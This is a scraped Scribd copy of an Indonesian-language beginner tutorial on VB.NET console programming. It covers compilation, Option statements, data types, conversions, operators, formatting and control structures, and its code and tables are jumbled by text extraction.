P. 1
vb.net

vb.net

|Views: 4,451|Likes:
Dipublikasikan oleh vcwalet
E-Book Tutorial Visual Basic dot Net
by susandewichan
E-Book Tutorial Visual Basic dot Net
by susandewichan

More info:

Published by: vcwalet on Mar 06, 2009
Hak Cipta:Attribution Non-commercial

Availability:

Read on Scribd mobile: iPhone, iPad and Android.
download as PDF, TXT or read online from Scribd
See more
See less

05/10/2014

pdf

text

original

Bahasa pemrograman VB.

NET

Hendra, S.T.

Bahasa Pemrograman VB.Net
Oleh : Hendra, ST.

Buku ini membahas tentang bahasa pemrograman Visual Basic .Net, dan ditujukan kepada siapa saja yang serius untuk mempelajari bahasa pemrograman VB.Net. Untuk memfokuskan pada bahasa VB.Net, buku ini akan menggunakan pendekatan program Console, sehingga fokus pembelajaran lebih terfokus kepada bahasa itu sendiri. Untuk mempelajari buku ini anda tidak perlu menginstalasi Visual Studio .Net, tetapi anda cukup menginstalasi .Net Framework yang dapat didownload secara gratis dari website Microsoft. Semua contoh dan latihan dibuku ini dapat dikompilasi langsung dari Dos prompt dengan menggunakan kompiler Visual Basic yang langsung tersedia setelah anda menginstalasi .Net Framework.

INDOPROG

1

Bahasa pemrograman VB.NET

Hendra, S.T.

Dasar program Visual Basic
Program VB.NET anda yang pertama.
Sebagaimana tradisi dari proses belajar pemrograman komputer adalah membuat sebuah program Hello World yang memiliki struktur yang paling sederhana sehingga kita dengan mudah dapat melihat struktur dasar program dari bahasa pemrograman tersebut.
Module Hello Sub Main() System.Console.WriteLine("Hello World !") End Sub End Module

Ketiklah program diatas dengan text editor (notepad pada Windows ataupun edit pada Dos Prompt), dan kemudian simpan dengan nama hello.vb (anda wajib menyimpannya dengan ekstension .vb).

Proses Kompilasi
Agar program yang kita buat diatas dapat dijalankan oleh komputer, maka diperlukan suatu kompiler untuk menterjemahkan perintah-perintah yang telah kita buat menjadi instruksi yang dapat dikenali oleh sistem komputer. Kompiler Visual Basic dapat diperoleh dengan melakukan instalasi Microsoft .NET framework sdk v1.1. Sesaat setelah instalasi .NET framework, maka kompiler VB telah tersedia pada komputer anda, dan proses kompilasi dapat dilakukan dengan : 1. Mengatur path environment pada Command Prompt path=%path%;c:\windows\microsoft.net\framework\v1.1.4322 2. Selanjutnya anda dapat mengkompilasi program anda dengan perintah : Vbc <nama file>.vb Pada saat kompilasi, anda wajib menulis lengkap nama file dan ekstension Contoh :
vbc hello.vb

Microsoft (R) Visual Basic .NET Compiler version 7.10.3052.4

INDOPROG

2

Bahasa pemrograman VB.NET

Hendra, S.T.

for Microsoft (R) .NET Framework version 1.1.4322.573 Copyright (C) Microsoft Corporation 1987-2002. All rights

reserved.

Jika proses kompilasi tidak menampilkan adanya kesalahan, maka akan terbentuk suatu hello.exe yang dapat dijalankan langsung pada Command Prompt. Sesuatu hal yang perlu anda pahami adalah file hello.exe hanya dapat dijalankan pada komputer yang sudah terinstalasi Microsoft .NET framework. Kemudian suatu hal yang perlu anda ketahui adalah file hello.exe bukanlah berisi binari yang merupakan kode mesin, melainkan merupakan binari yang berisi Intermediate Language (IL) yang pada saat dijalankan akan dikompilasi menjadi bahasa mesin oleh kompiler Just In Time (JIT) yang terdapat pada Common Language Runtime (CLR) yang merupakan salah satu komponen dari .NET framework.

Struktur program Visual Basic
Sebagai bahasa yang telah dirancang kembali dari awal, suatu program Visual Basic memiliki urutan berikut yang merupakan struktur dari program: 1. Option statements 2. Imports statements 3. Main procedure

Option Statements
Perintah Option akan menentukan aturan dasar penanganan kode dalam program pada saat kompilasi. Option Explicit Option Explicit On/Off, menentukan apakah variabel-varibel yang digunakan dalam program harus dideklarasikan terlebih dahulu atau tidak (defaultnya adalah On). Contoh :
Option Module Sub Explicit Off

Modmain Main() a = 100000 End Sub End Module

Yang jika di kompilasi tidak menyebabkan kesalahan walaupun variabel a tidak pernah dideklarasikan.
Option Explicit On

INDOPROG

3

Bahasa pemrograman VB.NET

Hendra, S.T.

Module Modmain Sub Main() a = 100000 End Sub End Module

Yang jika dikompilasi akan menyebabkan kesalahan sebagai berikut :
Microsoft (R) Visual Basic .NET Compiler version 7.10.3052.4 for Microsoft (R) .NET Framework version 1.1.4322.573 Copyright (C) Microsoft Corporation 1987-2002. All rights reserved. D:\BELAJA~1\coba.vb(5) a = 100000 : error BC30451: Name 'a' is not declared.

Agar terhindar dari kesalahan maka variabel a harus dideklarasikan terlebih dahulu sesuai dengan setting Option Explicit On.
Option Explicit On

Module Modmain Sub Main() Dim a As Integer a = 100000 End Sub End Module

Option Strict Option Strict On/Off, menentukan apakah kompiler memperbolehkan konversi nilai implicit yang berpotensi menyebabkan kehilangan data (default adalah Off), misalnya kita memasukan nilai dari suatu variabel dengan tipe data yang lebih lebar ke variabel dengan tipe data yang lebih sempit (lihat pada kolom nominal storage allocation pada tabel tipe data). Contoh :
Option Explicit On Option Strict On Module Hello Sub Main() Dim a As Integer Dim b As Short a = 100000 b = a End Sub End Module

INDOPROG

4

Bahasa pemrograman VB.NET

Hendra, S.T.

Yang jika dikompilasi akan menyebabkan pesan kesalahan berikut ini karena variabel b yang bertipe short (16 bit), tidak dimungkinkan menampung nilai dari tipe integer (32 bit), yang memiliki potensi kehilangan data pada saat runtime, sehingga pemakaian Option Strict On akan menampilkan pesan kesalahan pada saat kompilasi.
Microsoft (R) Visual Basic .NET Compiler version 7.10.3052.4 for Microsoft (R) .NET Framework version 1.1.4322.573 Copyright (C) Microsoft Corporation 1987-2002. All rights reserved. D:\BELAJA~1\coba.vb(8) : error BC30512: Option Strict On disallows implicit conversions from 'Integer' to 'Short'. b = a ~

Sebaliknya jika digunakan Option Strict Off:
Option Explicit On Option Strict Off Module Hello Sub Main() Dim a As Integer Dim b As Short a = 100000 b = a End Sub End Module

Maka pada saat kompilasi tidak terjadi kesalahan, tetapi pada saat runtime akan menimbulkan runtime error (System.OverflowException), karena variabel a yang bertipe short hanya memiliki jangkauan daya tampung dari -32767 s/d 32768.

INDOPROG

5

Bahasa pemrograman VB.NET

Hendra, S.T.

Option Compare Perintah Option Compare Binary/Text akan menentukan bagaimana bertipe data string akan dibandingkan antara satu dengan lainnya (default adalah Binary). Adapun aturan perbandingan pada masing-masing setting adalah sebagai berikut : • Pada Option Compare Binary : A < B < E < Z < a < b < e < z < À < Ê < Ø < à < ê <ø • Pada Option Compare Text : (A=a) < (À= à) < (B=b) < (E=e) < (Ê= ê) < (Ø = ø) < (Z=z) Contoh :
Option Compare Binary Module Hello Sub Main() Dim a,b As String a = "ABC" b = "abc" System.Console.WriteLine(a End Sub End Module

=

b)

'False

Yang jika dijalankan akan menghasilkan False, karena perbandingan data berdasarkan nilai biner dari masing-masing data string (lihat aturan untuk Binary).

INDOPROG

6

Bahasa pemrograman VB.NET

Hendra, S.T.

Tetapi jika :
Option Compare Text Module Hello Sub Main() Dim a,b As String a = "ABC" b = "abc" System.Console.WriteLine(a End Sub End Module

=

b)

'True

Yang jika dijalankan akan menghasikan True, karena sebagai text-nya "ABC" dianggap sama dengan "abc" tanpa melihat huruf besar atau kecil (lihat aturan untuk Text).

Imports Statements
Perintah Imports berfungsi memudahkan pengetikan tanpa harus mengetik nama class didalam namespace yang di import. Contoh :
Module Hello Sub Main() System.Console.WriteLine("Hello World !") End Sub End Module

Yang setelah adanya Imports System penulisan Console.WriteLine menjadi sebagai berikut.
Imports System Module Hello Sub Main() Console.WriteLine("Hello World !") End Sub End Module

Dalam hal ini kita tidak perlu lagi mengetik System.Console.WriteLine, tapi cukup Console.WriteLine, karena kita telah melakukan Imports System.

Main Procedure
Procedure Main merupakan titik awal dari program anda - merupakan procedure yang pertama kali dieksekusi ketika anda menjalankan kode anda. Jadi apa yang ingin anda jalankan pertama kali pada program anda ditempatkan pada procedure main ini. Ada empat cara penulisan Main, yaitu sebagai Sub atau Function yang memiliki parameter atau tidak.

INDOPROG

7

Bahasa pemrograman VB.NET • Sub Main() • Sub Main(ByVal CmdArgs() As String) • Function Main() As Integer • Function Main(ByVal CmdArgs() As String) As Integer

Hendra, S.T.

Bentuk procedure yang paling sering digunakan adalah Sub Main( ) seperti pada contoh yang sudah-sudah. Contoh Sub Main dengan parameter :
Imports System Module Hello Sub Main(ByVal CmdArgs() As String) Dim i As Integer Console.WriteLine("Jumlah Parameter :" & CmdArgs.Length()) For i = 0 to CmdArgs.Length()-1 Console.WriteLine("Parameter :" & i.ToString() & "adalah :" & CmdArgs(i)) Next End Sub End Module

Yang kalau dieksekusi dengan
Coba Hello World Jumlah Parameter :2 Parameter :0 adalah :Hello Parameter :1 adalah :World

Dalam hal ini kita menjalankan program Coba.exe pada command prompt dengan mengirim dua parameter yaitu kata Hello dan World yang dianggap sebagai array bertipe string. Catatan : Index Array dimulai dari 0, sehingga pada contoh diatas looping dimulai dari 0 s/d CmdArgs.Length()-1. Program yang menggunakan parameter jarang digunakan pada lingkungan Windows, dan sering digunakan pada program di lingkungan Console.

Pemberian komentar
Jika kita hari ini membuat program, dan pada saat yang sama semua logika serta rumusan dapat kita ingat dengan baik, tetapi bagaimana kalau kita membaca kembali program yang pernah kita buat untuk 3 bulan yang lalu, apakah anda masih mengingatnya ? Bagaimana kita membuat program kita mudah di pahami kembali ? Tentu saja dengan memberikan keterangan secukupnya.

INDOPROG

8

Bahasa pemrograman VB.NET

Hendra, S.T.

Pada Visual Basic pembuatan keterangan dapat menggunakan simbol ' (petik tunggal) maupun keyword REM. Contoh : ' Ini adalah keterangan REM Ini adalah keterangan

Type Data
Sebagaimana bahasa pemrograman lainnya, Visual Basic menyediakan berbagai type data yang dapat digunakan oleh pemrogram sesuai dengan konteks pemakaiannya. Type data pada Visual Basic dibagi atas dua kelompok besar yaitu Value Type (Tipe data primitif) dan Reference (String, Array dan Objek). Berikut ini adalah tabel tipe data pada VB disertai dengan alokasi storage yang dibutuhkan serta jangkauan nilai yang dapat ditampung oleh masing-masing tipe.
Visual Basic type Boolean Byte Char Date Decimal Common language runtime type structure System.Boolean System.Byte System.Char System.DateTime System.Decimal Nominal storage allocation 2 bytes 1 byte 2 bytes 8 bytes 16 bytes True or False. 0 through 255 (unsigned). 0 through 65535 (unsigned). 0:00:00 on January 1, 0001 through 11:59:59 PM on December 31, 9999. 0 through +/79,228,162,514,264,337,593,543,950,335 with no decimal point; 0 through +/7.9228162514264337593543950335 with 28 places to the right of the decimal; smallest nonzero number is +/-0.0000000000000000000000000001 (+/1E-28). -1.79769313486231570E+308 through -4.94065645841246544E-324 for negative values; 4.94065645841246544E-324 through 1.79769313486231570E+308 for positive values. -2,147,483,648 through 2,147,483,647. -9,223,372,036,854,775,808 through 9,223,372,036,854,775,807. Any type can be stored in a variable of type Object. -32,768 through 32,767. -3.4028235E+38 through -1.401298E-45 for negative values; 1.401298E-45 through 3.4028235E+38 for positive values. 0 to approximately 2 billion Unicode characters. Value range

Double System.Double (doubleprecision floating-point) Integer System.Int32

8 bytes

4 bytes 8 bytes 4 bytes 2 bytes 4 bytes

Long System.Int64 (long integer) Object Short System.Object (class) System.Int16

Single System.Single (singleprecision floating-point) String (variablelength) UserDefined Type System.String (class)

Depends on implementing platform Depends on implementing platform

(inherits from System.ValueType)

Each member of the structure has a range determined by its data type and independent of the ranges of the other members.

INDOPROG

9

Bahasa pemrograman VB.NET

Hendra, S.T.

(structure)

Walaupun dewasa ini, memori dan media penyimpanan data tidak menjadi masalah seperti pada awal kelahiran komputer, tetapi hendaklah programmer bijaksana dalam pemakaian type data berkaitan dengan perfomance yang dihasilkan.

Deklarasi Variabel
Pemrogram yang baik tentu saja menggunakan pendekatan yang terstruktur dalam pengembangan program, salah satu ciri dari program yang terstruktur adalah mendeklarasikan semua variabel yang digunakan dalam program. Pada Visual Basic printah Dim digunakan untuk mendeklarasikan variabel dan memberikan nilai awal kepadanya. Contoh :
Dim Dim Dim Dim Harga, Jumlah As Single Kuantitas As Integer = 10 Lanjutkan As Boolean = True Keterangan As String = "Visual Studio .NET"

Catatan : Pada Visual Basic pemakaian variabel harus dideklarasikan terlebih dahulu, jika tidak anda akan mendapatkan kesalahan kompiler, karena default setting Explicit pada Visual Basic adalah Option Explicit On. Kemudian Jika anda tidak memberikan nilai awal pada suatu variabel pada dideklarasikan, maka nilai berikut akan diberikan sebagai nilai awal variabel tersebut : 0 untuk semua tipe data numerik (termasuk Byte). Binary 0 untuk Char. Nothing untuk semua tipe reference (termasuk Object, String, dan semua array). • False untuk Boolean. • 12:00 AM pada 1 Januari 1 untuk Date. Sesuatu hal yang perlu anda perhatikan adalah daya tampung variabel berdasarkan tipe yang ditentukan, jika anda memasukan nilai diluar dari daya tampung variabel, suatu kesalahan overflow exception akan terjadi.
• • •

Konversi Tipe
Konversi Tipe pada Visual Basic dapat dilakukan secara Implicit maupun Explicit, konversi secara Implicit dilakukan tanpa menggunakan fungsi bantu casting tertentu seperti Cbool, Cbyte, Cchar, Cdate, Cdec, CDbl, Cint, CLng, Cobj, Cshort, CSng, CStr.

INDOPROG

10

Bahasa pemrograman VB.NET

Hendra, S.T.

Contoh :
Module Sub Test Main() Dim intValue As Integer = 123 Dim longValue As Long = intValue Console.WriteLine(intValue & " = " & longValue) End Sub

End

Module

Sedangkan secara Explicit dilakukan dengan menggunakan fungsi bantu casting.

Module Sub

Test Main() Dim longValue As Long = 134 Dim intValue As Integer = CInt(longValue) Console.WriteLine(longValue & " = " & intValue) End Sub

End

Module

Pada konversi secara Implicit, setting Option Strict akan mempengaruhi apakah konversi dari tipe yang lebih lebar ke tipe yang lebih sempit (Misalnya dari Integer 32 bit ke Short 16 bit) diperbolehkan oleh kompiler atau tidak. Contoh berikut akan melakukan konversi dari Integer 32 bit ke Short 16 bit.
Option Strict On Option Explicit On Imports System Public Module ModKali Sub Main() Dim i, j As Byte Dim a As Integer = 40000 Dim b As Short b = a Console.WriteLine(b) End Sub End Module

Yang kalau dikompilasi akan menghasilkan error sebagai berikut
Microsoft (R) Visual Basic .NET Compiler version 7.10.3052.4 for Microsoft (R) .NET Framework version 1.1.4322.573 Copyright (C) Microsoft Corporation 1987-2002. All rights reserved. D:\BELAJA~1\kali.vb(10) : error BC30512: Option Strict On disallows

INDOPROG

11

Bahasa pemrograman VB.NET

Hendra, S.T.

implicit conversions from b = a

'Integer'

to

'Short'.

~ Hal tersebut dapat diperbaiki dengan menggunakan fungsi ToInt16 yang terdapat pada System.Convert yang artinya konversi memang dikehendaki oleh programmer Contoh :
Option Strict On Option Explicit On Imports System Public Module ModKali Sub Main() Dim i, j As Byte Dim a As Integer = 40000 Dim b As Short b = System.Convert.ToInt16(a) Console.WriteLine(b) End Sub End Module

Tetapi karena nilai 40000 tidak dapat ditampung oleh type data short, maka akan menghasilkan error pada saat runtime : System.OverflowException.

Konversi data secara Explicit dapat juga memanfaatkan fungsi bantu casting yang terdapat pada Objek System Convert sebagai berikut :
Function
ToBoolean ToByte ToChar ToDateTime ToDecimal ToDouble ToInt16 ToInt32 ToInt64 ToSByte ToSingle ToString ToUInt16 ToUInt32 ToUInt64

Purpose
Converts a value to a Boolean (True or False). Converts a value to an 8-bit Byte in the range 0 to 255. Converts a value to a 2-byte Unicode character. Converts a value to a DateTime object. Converts a value to a 12-byte Decimal. Converts a value to an 8-byte Double. Converts a value to a 2-byte Short. Converts a value to a 4-byte Integer. Converts a value to an 8-byte Integer. Converts a value to an 8-bit signed value in the range -128 to 127. Converts a value to a 4-byte Single. Converts a value to its String representation. Converts a value to a 2-byte unsigned Short in the range 0 to 65,535. Converts a value to a 4-byte unsigned Integer in the range 0 to 4,294,967,295. Converts a value to an 8-byte unsigned long Integer in the range 0 to 18,446,744,073,709,551,615.

Catatan : Berdasarkan uji coba yang dilakukan fungsi bantu konversi tipe seperti Cint, Cdate, CSng,CDbl, Cdec dan kadang-kadang fungsi bantu konversi memiliki unjuk kerja yang lebih baik seperti yang ditunjukan oleh tabel berikut ini adalah hasil konversi dengan Integer.Pars, Convert.ToInt32, dibandingkan dengan CInt INDOPROG

12

Bahasa pemrograman VB.NET

Hendra, S.T.

String "12,500" "12" "12500" "12500.00" "$12,500.00" "$12,500.10" "&HFF" Error 12 12500 Error Error Error

Integer.Parse

Convert.ToInt32 Error 12 12500 Error Error Error Error

Cint 12500 12 12500 12500 12500 12500 Error

(VB syntax for the hex value FF) 255

Operator
Berdasarkan pengalaman pemrograman, pemakaian operator tidak dapat dilepaskan dari pekerjaan pemrograman, adapun operator pada Visual Basic adalah sebagai berikut : Operator aritmatika : *, /, \, ^, Mod, +, dan Operator relasi : =, <>, <, >, <=, and >= Catatan : Pada tipe data string, prilaku perbandingan sangat dipengaruhi oleh setting dari Option Compare. (default adalah Option Compare Binary) Pada Option Compare Binary : A < B < E < Z < a < b < e < z < À < Ê < Ø < à < ê < ø Pada Option Compare Text : (A=a) < (À= à) < (B=b) < (E=e) < (Ê= ê) < (Ø = ø) < (Z=z) Operator logika And, AndAlso, Or, OrElse, and Xor Catatan :

Jika operand pertama pada suatu operasi AndAlso adalah False, maka hasil ekspresi tersebut adalah False. Sebaliknya, suatu operasi logika And dilakukan terhadap kedua operand. • Jika operand pertama dari operasi OrElse adalah True, maka hasil ekspresi adalah True. Sebaliknya, suatu operasi logika Or akan dilakukan terhadap kedua operand.

Operator pengabungan : & Operator bit shift : << dan >> Contoh :
Dim Pattern As Short = 192 ' Bit pattern is 0000 0000 1100 0000. Dim Result1, Result2, Result3, Result4, Result5 As Short

INDOPROG

13

Bahasa pemrograman VB.NET

Hendra, S.T.

Result1 Result2 Result3 Result4 Result5

= = = = =

Pattern Pattern Pattern Pattern Pattern

<< << << << <<

0 4 9 17 -1

' Result is 192 (0000 0000 1100 0000). ' Result is 3072 (0000 1100 0000 0000). ' Result is -32768 (1000 0000 0000 0000). ' Result is 384 (0000 0001 1000 0000). ' Result is 0 (shifted 15 places to left).

Dim Pattern As Short = 2560 ' Bit pattern is 0000 1010 0000 0000. Dim Result1, Result2, Result3, Result4, Result5 As Short Result1 = Pattern >> 0 ' Result is 2560 (0000 1010 0000 0000). Result2 = Pattern >> 4 ' Result is 160 (0000 0000 1010 0000). Result3 = Pattern >> 10 ' Result is 2 (0000 0000 0000 0010). Result4 = Pattern >> 18 ' Result is 640 (0000 0010 1000 0000). Result5 = Pattern >> -1 ' Result is 0 (shifted 15 places to right).

Operator bit shift bekerja pada tingkat bit, yang artinya jika 192 pada tipe data short (desimal/basis sepuluh) maka representasinya dalam bentuk biner adalah 0000 0000 1100 0000 (16 bit). Kemudian hal lain yang perlu diketahui adalah bit mask untuk masing-masing tipe data adalah berbeda, berikut ini adalah tabel bitmask : LeftOperand Type Byte Short Integer Long SizeMask 7 (&H7) 15 (&HF) 31 (&H1F) 63 (&H3F)

Perhatikan kembali contoh diatas
Dim Pattern As Short = 2560 ' Bit pattern is 0000 1010 0000 0000.

Perintah shift right 18 untuk tipe Short akan menghasilkan operasi yang sama dengan shift right 2 ( hasil operasi 18 And 15 = 2).
Result4 = Pattern >> 18 ' Result is 640 (0000 0010 1000 0000).

Operator perbandingan Like, dengan aturan sebagai berikut : Karakter ? mewakili satu karakter sembarang. Karakter * mewakili tidak ada karakter atau sekumpulan karakter sembarang. • Karakter # mewakili satu sembarang digit (0-9). • Suatu daftar karakter dalam kurung siku ([ab ]) mewakili salah satu karakter dalam daftar tersebut. • Suatu daftar dari karakter dalam kurung siku dan diawali dengan suatu tanda ! ([!ab ]) mewakili satu karakter yang tidak ada dalam daftar tersebut. Contoh :
Dim myCheck As Boolean myCheck = "F" Like "F" myCheck = "F" Like "f" myCheck = "F" Like "FFF" Does "F" match "F"? Returns True. Does "F" match "f"? Returns False. Does "F" match "FFF"? Returns False.

• •

INDOPROG

14

Bahasa pemrograman VB.NET

Hendra, S.T.

myCheck = "aBBBa" Like "a*a"

myCheck = "F" Like "[A-Z]" myCheck = "F" Like "[!A-Z]" myCheck = "a2a" Like "a#a" myCheck = "aM5b" Like "a[L-P]#[!c-e]"

myCheck = "BAT123khg" Like "B?T*"

myCheck = "CAT123khg" Like "B?T*"

Does "aBBBa" have a "a" at the beginning, an "a" at the end, and any number of characters in between? Returns True. Does "F" occur in the set of characters from A to Z? Returns True. Does "F" NOT occur in the set of characters from A to Z? Returns False. Does "a2a" begin and end with an "a" and have any single-digit number inbetween? Returns True. Does "aM5b" fit the following pattern: Begins with "a", has and character from the set L through P, followed byb any single-digit number, and finally contains any character excluded from the character set c through e. Returns True. Does "BAT123khg" fit the following pattern: Begins with "B", followed by any single character, followed by a "T" and finally zero or more characters of any type. Returns True Does "CAT123khg" fit the following pattern: Begins with "B", followed by any single character, followed by a "T" and finally zero or more characters of any type. Returns False.

Operator assignment : =, ^=, *=, /=, \=, +=, -=, <<=, >>=, &= Contoh : Dim a As Integer = 2 Dim b As Integer = 3 a += b // akan menghasilkan 5 pada variabel a, atau sama dengan a = a+b Catatan : Sesuatu hal yang penting bagi programmer pemula adalah memahami urutan operasi dari operator, pada Visual Basic menggunakan urutan operasi berikut ini : Operator Aritmatika dan Pengabungan Exponentiation (^) Unary negation (-) Multiplication and division (*, /) Integer division (\) Modulus arithmetic (Mod) Addition and subtraction (+, -), string concatenation (+) String concatenation (&) Arithmetic bit shift (<<, >>) Operator Perbandingan All comparison operators (=, <>, <, <=, >, >=, Like, Is, TypeOf...Is) Operator Logika dan Bitwise Negation (Not) Conjunction (And, AndAlso) Disjunction (Or, OrElse, Xor)

INDOPROG

15

Bahasa pemrograman VB.NET

Hendra, S.T.

Contoh :
Dim A, B, C, D, E, F, G As Double A = 3.0 B = 6.0 C = 4.0 D = 2.0 E = 1.0 F = A + B - C / D * E ' The previous line sets F to 7.0. Because of natural operator ' precedence, it is exactly equivalent to the following line: F = (A + B) - ((C / D) * E) ' The following line overrides the natural operator precedence: G = A + (B - C) / (D * E) ' The previous line sets G to 4.0.

Dengan memahami urutan operasi akan sangat membantu untuk menghindari kesalahan dalam penulisan rumus yang dapat menyebabkan logika error.

Konstanta pada VB.NET
Pemakaian konstanta sangat membantu dalam pengembangan program yang terstruktur, dengan adanya konstanta, pemeliharaan program menjadi lebih sederhana, dan biasanya konstanta dideklarasikan pada awal program, sehingga jika terjadi perubahan besaran pada konstanta, kita cukup mengubahnya pada awal program tanpa harus memeriksa koding seperti yang harus dilakukan kalau kita tidak menggunakan fasilitas konstanta. Const GRAVITASI As Single = 9.8 Catatan : Sebaiknya konstanta diketik semuanya huruf besar untuk memudahkan pembedaan antara variabel dengan konstanta, dan penamaan konstanta hendaknya disesuaikan dengan konteks yang diwakili oleh konstanta tersebut.

Enumerated pada VB.NET
Pemakaian enumerated type akan sangat membantu dalam pekerjaan pemrograman sehingga menjadi lebih mudah ditulis, dibaca, dan dimaintain dari pada menggunakan tipe data primitif. Public Enum InterfaceColors MistyRose = &HE1E4FF& SlateGray = &H908070& DodgerBlue = &HFF901E& DeepSkyBlue = &HFFBF00& SpringGreen = &H7FFF00& ForestGreen = &H228B22& Goldenrod = &H20A5DA&

INDOPROG

16

Bahasa pemrograman VB.NET

Hendra, S.T.

Firebrick = &H2222B2& End Enum

Perintah input Output Console
Salah satu bentuk program yang dapat dikembangkan dengan menggunakan Visual Basic adalah program Console. Program Console adalah program yang menggunakan basis teks pada lingkungan Command Prompt (bentuk ini tidak tersedia pada Visual Basic versi sebelumnya). Program Console adalah salah satu fasilitas yang sangat memudahkan bagi pemula yang ingin mempelajari bahasa Visual Basic dengan baik, karena program Console menggunakan perintah I/O yang cukup sederhana dan bersih dari perintah input output yang rumit sehingga kita dapat lebih terfokus. System.Console.Write(ekspresi) System.Console.WriteLine(ekspresi) Variabel = System.Console.ReadLine() Jika anda melakukan imports namespace system, maka penulisan dapat disingkat menjadi Console.Write(ekspresi) Console.WriteLine(ekspresi) Variabel = Console.ReadLine() Catatan : Perbedaan antara Write dengan WriteLine adalah pada WriteLine pencetakan akan diakhiri dengan suatu Carriage Return.

Format pada WriteLine
Visual Basic telah melengkapi berbagai fasilitas format yang sangat berguna untuk melakukan pencetakan data, terutama data type numerik yang kadang-kadang perlu diformat sedemikian rupa untuk memudahkan pembacaan. Format pencetakan pada WriteLine dapat menggunakan place holder {x}, dimana x adalah nomor urutan dari parameter berikutnya yang dihitung mulai dari 0 (nol).. Contoh :
Console.WriteLine("The number is {0}", Console.WriteLine("The result of {0} + Console.WriteLine("See decimals {0, Console.WriteLine("See decimals {0, Console.WriteLine("The value is {0, Console.WriteLine("The value is {0, 3 + 7) {1} = {2}", 3, 7, 3+7) 12:f1}", 0.123456789) 12:f9}", 0.123456789) 0:000.00}", 0.123456789) 0:###.##}", 1234.56789)

INDOPROG

17

Bahasa pemrograman VB.NET

Hendra, S.T.

Masing-masing akan menghasilkan The number is 10 The result of 3 + 7 = 10 See decimal 0.1 See decimal 0.123456789 The value is 001.23 The value is 1234.57

Contoh Format String :
Format C C D D8 E E10 E e4 F F F0 F6 G G7 G G G2 G N N N4 P r x X X8 x Culture en-US de-DE en-US en-US en-US en-US fr-FR en-US en-US es-ES en-US en-US en-US en-US en-US en-US en-US en-US en-US sv-SE en-US en-US en-US en-US en-US en-US en-US Data type Double Double Int32 Int32 Double Double Double Double Double Double Double Double Double Double Double Double Double Double Double Double Double Double Double Int32 Int32 Int32 Int32 Value 12345.6789 12345.678 12345 12345 12345.6789 12345.6789 12345.6789 12345.6789 12345.6789 12345.6789 12345.6789 12345.6789 12345.6789 12345.6789 0.0000023 0.0023 1234 Math.PI 12345.6789 12345.6789 123456789 .126 Math.PI 0x2c45e 0x2c45e 0x2c45e 123456789 Output $12,345.68 12.345,68 DM 12345 00012345 1.234568E+004 1.2345678900E+004 1,234568E+004 1.2346e+004 12345.68 12345,68 123456 12345.678900 12345.6789 12345.68 2.3E-6 0.0023 1.2E3 3.14159265358979 12,345.68 12 345,68 123,456,789.0000 12.60 % 3.141592653589793 2c45e 2C45E 0002C45E 75bcd15

Latihan :
1. Buatlah program untuk menghitung luas persegi panjang. Jawab :
Option Explicit On Public Module modmain Sub Main() Dim Panjang As System.Int32 Dim Lebar As System.Int32 Dim Luas As System.Int64 System.Console.Write("Masukkan

Panjang

:")

INDOPROG

18

Bahasa pemrograman VB.NET

Hendra, S.T.

Panjang = System.Console.ReadLine() System.Console.Write("Masukan Lebar :") Lebar = System.Console.ReadLine() Luas = Panjang*Lebar System.Console.WriteLine("Luas Persegi Panjang Luas.ToString()) End Sub End Module

adalah

:"

&

atau
Option Explicit Imports System Public Module On

modmain

Sub Main() Dim Panjang As Integer Dim Lebar As Integer Dim Luas As Long Console.Write("Masukkan Panjang :") Panjang = Console.ReadLine() Console.Write("Masukan Lebar :") Lebar = Console.ReadLine() Luas = Panjang*Lebar Console.WriteLine("Luas Persegi Panjang End Sub End Module

adalah

:"

&

Luas.ToString())

Simpan dengan nama file persegi.vb
Set path=%path%;c:\windows\microsoft.net\framework\v1.1.4322

VBC persegi.vb Microsoft (R) Visual Basic .NET Compiler version 7.10.3052.4 for Microsoft (R) .NET Framework version 1.1.4322.573 Copyright (C) Microsoft Corporation 1987-2002. All rights reserved. Persegi

2. Buatlah program untuk menghitung luas lingkaran dengan pemakaian konstanta.
Option Explicit On Imports System Public Module lingkaran Const PI As Single = 3.14 Sub Main() Dim R As Single Dim Luas As Double

INDOPROG

19

Bahasa pemrograman VB.NET

Hendra, S.T.

Console.Write("Masukkan Jari-jari :") R = Console.ReadLine() Luas = PI * R^2 Console.WriteLine("Luas : {0, 10:f2}",Luas)'10 End Sub Module

tempat

2

desimal

End

INDOPROG

20

Bahasa pemrograman VB.NET

Hendra, S.T.

Struktur Keputusan dan Perulangan
Perintah If...Then...Else
Salah satu tujuan pemrograman komputer adalah mengambil tugas rutin manusia untuk dalam mengambil keputusan-keputusan yang dapat diprogram. Misalnya seorang Dosen dalam menentukan Grade (A,B,C,D, atau E) nilai akhir mahasiswa dengan kondisi sebagai berikut : Jika Nilai >= 85 Kemudian Cetak "A" Jika tidak dan Jika Nilai >= 70 Kemudian Cetak "B" Jika tidak dan Jika Nilai >= 60 Kemudian Cetak "C" Jika tidak dan Jika Nilai >= 25 Kemudian Cetak "D" Jika tidak Cetak "E" Akhir dari keputusan Logika keputusan diatas dapat diprogram pada Visual Basic dengan menggunakan syntax penulisan sebagai berikut :
If condition [ Then ] [ statements ] [ ElseIf elseifcondition [ Then ] [ elseifstatements ] ] [ Else [ elsestatements ] ] End If

Contoh :
Option Explicit On Imports System Module ModIf Sub Main() Dim Nilai As Single Console.Write("Masukkan Nilai Akhir :") Nilai = Console.ReadLine() If Nilai >= 85 Then Console.WriteLine("A") ElseIf Nilai >= 70 Then Console.WriteLine("B") ElseIf Nilai >= 60 Then Console.WriteLine("C") ElseIf Nilai >= 25 Then Console.WriteLine("D")

INDOPROG

21

Bahasa pemrograman VB.NET

Hendra, S.T.

Else Console.WriteLine("E") End If End Sub End Module

Perintah Select...Case
Jika statement If melakukan pemilihan berdasarkan kondisi, maka perintah Select melakukan pemilihan berdasarkan nilai ekspresi dengan syntax sebagai berikut :
Select [ Case ] testexpression [ Case expressionlist [ statements ] ] [ Case Else [ elsestatements ] ] End Select

Contoh :
Option Explicit On Imports System Module ModHari Sub Main() Dim Hari As Byte Console.Write("Masukkan No Hari :") Hari = Console.ReadLine() Select Case Hari Case 1 Console.WriteLine("Senin") Case 2 Console.WriteLine("Selasa") Case 3 Console.WriteLine("Rabu") Case 4 Console.WriteLine("Kamis") Case 5 Console.WriteLine("Jumat") Case 6 Console.WriteLine("Sabtu") Case 7 Console.WriteLine("Minggu") Case Else Console.WriteLine("No Hari tidak sah") End Select End Sub End Module

Contoh Lain :
Option Explicit Imports System Module ModHari Sub Main() On

INDOPROG

22

Bahasa pemrograman VB.NET

Hendra, S.T.

